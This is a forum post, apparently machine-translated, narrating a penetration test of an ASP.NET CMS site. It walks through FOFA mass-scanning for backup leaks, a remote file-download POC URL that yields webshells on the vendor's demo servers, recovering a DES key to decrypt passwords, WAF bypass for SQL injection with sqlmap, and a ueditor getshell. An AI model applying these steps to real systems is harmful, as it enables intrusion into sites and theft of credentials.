Jump to content

Title: Practical penetration! How did I do a day with a broken station

Featured Replies

Posted

0x00 Use keywords to get the target source code

One morning I received a temporary arrangement to conduct penetration tests on a company. This penetration gave a main domain name and there was no subdomain. After opening the target website, I first collected information on it.1049983-20220106103918120-1949305445.png

Middleware : IIS 8.5 1049983-20220106103918574-542283566.png

Enter admin and found that it was automatically added/

It means that its directory exists, so blindly guess a wave of files, login.aspx default.aspx main.aspx, etc.1049983-20220106103919310-1402173741.png

Finally, the background login page was found under login.aspx. Isn't this a wave of weak passwords?

The account is locked after a trial operation 1049983-20220106103920127-1825260822.png

A familiar start, since that's the case, we can only try other methods.

Some information was found in the html code of the home page 1049983-20220106103920974-1940392655.png

Design and production? According to the following domain name, it is a website building company

Then, here's the point. IIS8.5+ASP.NET+site building system

Scan the backup file first 1049983-20220106103921425-155429375.png

More than 400 ips are OK for this developer. Use the FOFA query tool to export in batches 1049983-20220106103921829-1448871529.png

Then we scan the backup file. Here I recommend my brother B’s scanner https://github.com/broken5/WebAliveScan

Batch survival scans and directory scans can be performed 1049983-20220106103922341-218058023.png

I found the web.zip backup file below several sites.

After downloading, the target site files were compared. Basically consistent 1049983-20220106103922901-1069820455.png

0x01 Get the code and start auditing and hitting a wall many times

Then start the audit.1049983-20220106103923815-1139109272.png

Put down sensitive operations at an interface WebClient.DownloadFile (remote file download)

Since this method needs to provide an absolute path. It's a headache, but I'm following the relevant parameters. Discover.

The method is called in another method.1049983-20220106103924399-1355850887.png

And pass in Server.MapPath, which doesn’t require you to find an absolute path. The system has arranged it for you.

Then construct POC:

ashx/api.ashx?m=downloadfileFilePath=asmx.jpgWebUrl=http://***.cn/1049983-20220106103925555-1905383795.png

Access address 1049983-20220106103926268-1173007218.png

The file exists, then the proof is feasible

Return to the target address 1049983-20220106103926962-1035196824.png

The file is fixed does not exist

Continue to go back to the code, audit other vulnerabilities also have multiple vulnerabilities in other interfaces. For example, ueditor remote crawling vulnerability 1049983-20220106103927586-1941905001.png

File renaming can getshell

1049983-20220106103928097-1137720979.png

However, these interfaces require login 1049983-20220106103928670-62149113.png

This is a headache, and I plan to try to find SQL injection in some interfaces that do not require login.

Finally, SQL stitching was discovered somewhere.1049983-20220106103929492-118196344.png

But here IsSafeSqlString detection is called 1049983-20220106103930051-247295581.png

Common symbols are basically stuck

0x02 Take the developer and find the general account reverse encryption and decryption algorithm

Since they are all using the same website building program, it is suspected that there is a built-in account for the program.

So I prepared to pass the loopholes I just audited. Start with the same program site

Finally, I successfully got the Webshell at a certain site

Check out the relevant information 1049983-20220106103930560-496241117.png

It is actually a demonstration site group of the manufacturer, and all the site source codes of the developer are stored.

There should be many demonstration environments during the development process, and it is estimated that every customer has them.

I flipped through the server to the demo website of the target site 1049983-20220106103931009-71314533.png

There are zip website backups and sql database backups in the root directory.

If the target site was directly relocated, the backend account password should be the same.

Download its SQL file. Search for relevant information 1049983-20220106103931570-1846651994.png

SQL statements inserted into the account were found. Its password is encrypted 1049983-20220106103932232-1921050966.png

cmd5 cannot be unlocked, so I looked at the ciphertext as 33-bit encryption.

However, during the login process, the password is transmitted after RSA encryption, while the backend is actually 33-bit md5 encryption.

Because of the source code, I tracked down the login method.1049983-20220106103933554-2142229781.png

After the password is passed in, CommFun.EnPwd is called for encryption.

Tracking EnPwd method 1049983-20220106103934086-1207557966.png

It can be seen that the password passed in is RSA type, and RSA decryption is performed first, and then DES encryption is performed.

Track the DESEncrypt.Encrypt method.1049983-20220106103934466-1892231958.png

Here is the Encrypt method encapsulated and passed in the encrypted key.

Its core encryption method is as follows1049983-20220106103934918-1778582804.png

And, in this category. Also define decryption method 1049983-20220106103935511-1781289920.png

The encryption method and decryption method and key are obtained. Then you just need to pull it out and call it separately.1049983-20220106103936101-1935894672.png

Decrypt the encrypted characters and get the result 1049983-20220106103936660-850388884.png

Try to log in 1049983-20220106103938164-373416304.png

I worked hard for a long time and it was in vain.

0x03 The dark willows and flowers will win the target shell

It is already 4 pm. Still no progress, ready to try to bypass SQL filtering.

At this moment, I found a SQL injection point.1049983-20220106103938695-190719613.png

A method receives two parameters, but only filters one parameter.

Quiz on the target website 1049983-20220106103939091-740130853.png

Existing injection, it was found that waf was successfully filled with garbage parameters.

1049983-20220106103939954-426082430.png

Go to SQLmap and run with peace of mind, get the system account and password 1049983-20220106103940604-42722927.png

Decrypt the obtained ciphertext to obtain the result

1049983-20220106103941431-713547984.png

Try to log in. Now that's right!1049983-20220106103941866-739496859.png

Finally come in!

After previous audits, many interfaces have been found to have vulnerabilities, and now they have successfully logged in. Wouldn't it just getshell?

Take it away directly by ueditor.1049983-20220106103942350-1890359523.png

Successful shell

0x04 Summary

1. Add admin to display management backend after the target URL, and query the CMS information of the website at the bottom of the website 2. Bulk search of other websites of the CMS through fofa: body='xxxx system"country='CN'3. Batch export of the query website URL through the fofa query tool 4. Batch sensitive directory scan of the export website URL through WebAliveScan, and found that one of the websites had source code compression package leaks. 5. Perform local code audit of the website source code and found the following vulnerabilities: There is a vulnerability to download any file, and there is no need to log in to ashx/api.ashx?m=downloa dfileFilePath=asmx.jpgWebUrl=http://***.cn/ueditor editor remote file download vulnerability, need to log in, there is a SQL injection vulnerability, need to log in, and it is filtered 6. Get the webshell of one of the URLs through any file download vulnerability, and it is found that it is the site group system for the manufacturer's demonstration. 7. Through the webshell, you find that there are zip website backups and sql in the root directory of each website in the site group. Database backup, SQL statement contains the inserted username and password (password is 33 digits). All logins in the site group basically use the same username and password. 8. Through source code analysis, it was found that the login was encrypted through RSA+DES, and the encryption method and KEY value were found in the source code. 10. Write the decryption method through the encryption method in the source code and decrypt the HASH value, but log in, it is impossible to log in 11. Through source code audit, another SQL injection was found. Here, WAF intercepts and injects the user name through garbage filling data, and runs out the user name through SQLMAP. Through the above decryption method, the password hash value is decrypted, and the plaintext password is finally obtained. 12. Log in to the system through the obtained user name and password, and then obtains the original webshell link of the target system through the remote file download of the ueditor editor: https://xz.aliyun.com/t/8375

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.